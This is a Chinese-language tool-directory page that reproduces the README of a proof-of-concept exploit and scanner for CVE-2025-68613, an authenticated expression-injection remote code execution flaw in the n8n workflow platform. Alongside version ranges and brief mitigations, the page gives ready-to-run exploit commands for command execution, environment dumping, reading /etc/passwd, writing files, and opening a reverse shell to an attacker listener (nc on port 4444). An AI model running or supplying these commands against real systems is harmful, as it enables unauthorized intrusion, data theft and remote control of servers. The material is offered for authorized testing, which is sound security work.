Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
n8n-cve-2025-68613 — 针对n8n中CVE-2025-68613的已验证RCE利用PoC和漏洞扫描器。支持命令执行、文件操作以及用于授权安全测试的反向Shell载荷。 | Kitploit
工具/GitHubGitHub/gagaltotal/n8n-cve-2025-68613
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制学习与教育远程访问工具Payload 开发
GitHubgagaltotal/n8n-cve-2025-68613

n8n-cve-2025-68613

针对n8n中CVE-2025-68613的已验证RCE利用PoC和漏洞扫描器。支持命令执行、文件操作以及用于授权安全测试的反向Shell载荷。

查看仓库
108个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
网站
分享

CVE-2025-68613 – n8n 表达式注入远程代码执行漏洞

Python Security CVE Status

该工具包提供了针对 n8n 工作流自动化平台 上关键漏洞 CVE-2025-68613 的 扫描器与 PoC 利用脚本。

此仓库提供了针对 CVE-2025-68613 漏洞(影响 n8n 工作流自动化平台)的 扫描器与 PoC 利用脚本。


警告 / 注意

中文

此工具 仅 用于 合法且已获授权 的安全测试。 禁止在未经所有者许可的情况下将此工具用于任何系统。

English

This tool is ONLY for authorized and legal security testing. Unauthorized usage is illegal and prohibited.


漏洞概述

  • CVE 编号 : CVE-2025-68613
  • 严重程度 : 严重
  • : 10.0
CVSS 评分
  • 类型 : 表达式注入 → 远程代码执行
  • 产品 : n8n 工作流自动化平台
  • 受影响版本

    • 0.211.0 – 1.120.3
    • 1.121.0

    已修复版本

    • 1.120.4+
    • 1.121.1+
    • 1.122.0+

    仓库结构

    root@kitploit:~
    .
    ├── tot-scanner-2025-68613.py   # 漏洞扫描器(无利用功能)
    ├── tot-exploit-2025-68613.py   # 已认证的远程代码执行利用 PoC
    ├── requirements.txt
    └── README.md
    

    扫描器(非利用)

    扫描器用于:

    • 检测 n8n 服务
    • 提取 n8n 版本
    • 判定漏洞状态
    • 不执行任何利用操作
    • 支持 JSON 输出

    The scanner:

    • Detects n8n service
    • Extracts n8n version
    • Determines vulnerability status
    • No exploitation
    • Supports JSON output

    扫描器会检查以下端点:

    • /
    • /rest/settings
    • /healthz
    • /api/v1/health

    依赖项

    中文

    所需包:

    • requests

    文件 requirements.txt 的内容:

    root@kitploit:~
    requests>=2.28.0
    

    English

    Required packages:

    • requests

    requirements.txt content:

    root@kitploit:~
    requests>=2.28.0
    

    安装

    root@kitploit:~
    pip install -r requirements.txt
    

    扫描器用法

    root@kitploit:~
    python3 tot-scanner-2025-68613.py -u http://target.com:5678
    

    扫描器 JSON 模式

    root@kitploit:~
    python3 tot-scanner-2025-68613.py -u http://target.com:5678 --json
    

    扫描器 JSON 输出示例

    root@kitploit:~
    {
      "target": "http://target.com:5678",
      "detected": true,
      "version": "1.121.0",
      "vulnerable": true,
      "status": "vulnerable",
      "cve": "CVE-2025-68613"
    }
    

    扫描器退出码

    退出码含义
    0不受影响
    1版本未知
    2受影响

    利用 PoC(需认证的远程代码执行)

    此利用需要有效的 n8n 凭据。
    需要已认证的访问权限。

    利用步骤如下:

    1. 登录 n8n
    2. 创建工作流
    3. 在 Set 节点中注入恶意表达式
    4. 运行工作流
    5. (可选)清理工作流

    利用参数

    参数必需说明
    -u / --url✅目标 n8n URL
    -e / --email✅n8n 账户邮箱
    -p / --password✅n8n 账户密码
    --payload✅载荷类型
    --command❌操作系统命令(cmd)
    --file❌文件路径(read/write)
    --content❌文件内容(write)
    --lhost❌攻击者 IP(revshell)
    --lport❌攻击者端口(revshell)
    --verify-ssl❌验证 SSL 证书

    支持的载荷

    载荷功能
    info系统信息
    cmd命令执行
    env环境变量转储
    read读取文件
    write写入文件
    revshell反弹 Shell

    屏幕截图

    利用示例

    系统信息

    root@kitploit:~
    python3 tot-exploit-2025-68613.py  -u http://target.com:5678  -e [email protected]  -p password  --payload info
    

    命令执行

    root@kitploit:~
    python3 tot-exploit-2025-68613.py  -u http://target.com:5678  -e [email protected]  -p password  --payload cmd  --command "id"
    

    读取文件

    root@kitploit:~
    python3 tot-exploit-2025-68613.py  -u http://target.com:5678  -e [email protected]  -p password  --payload read  --file /etc/passwd
    

    写入文件

    root@kitploit:~
    python3 tot-exploit-2025-68613.py  -u http://target.com:5678  -e [email protected]  -p password  --payload write  --file /tmp/pwned.txt  --content "owned"
    

    反弹 Shell

    root@kitploit:~
    nc -lvnp 4444
    
    root@kitploit:~
    python3 tot-exploit-2025-68613.py  -u http://target.com:5678  -e [email protected]  -p password  --payload revshell  --lhost 10.10.14.5  --lport 4444
    

    缓解措施

    • 将 n8n 升级到已修复版本
    • 限制对 /rest/* 端点的访问
    • 实施基于角色的访问控制和强身份认证
    • 审计未知工作流

    免责声明

    本项目仅供 教育和已授权安全测试 使用。
    作者 不对任何滥用行为负责。


    GitHub 主题

    root@kitploit:~
    n8n
    cve
    cve-2025-68613
    rce
    expression-injection
    security
    pentest
    red-team
    blue-team
    python
    

    遵守法律,遵守道德。

    下载工具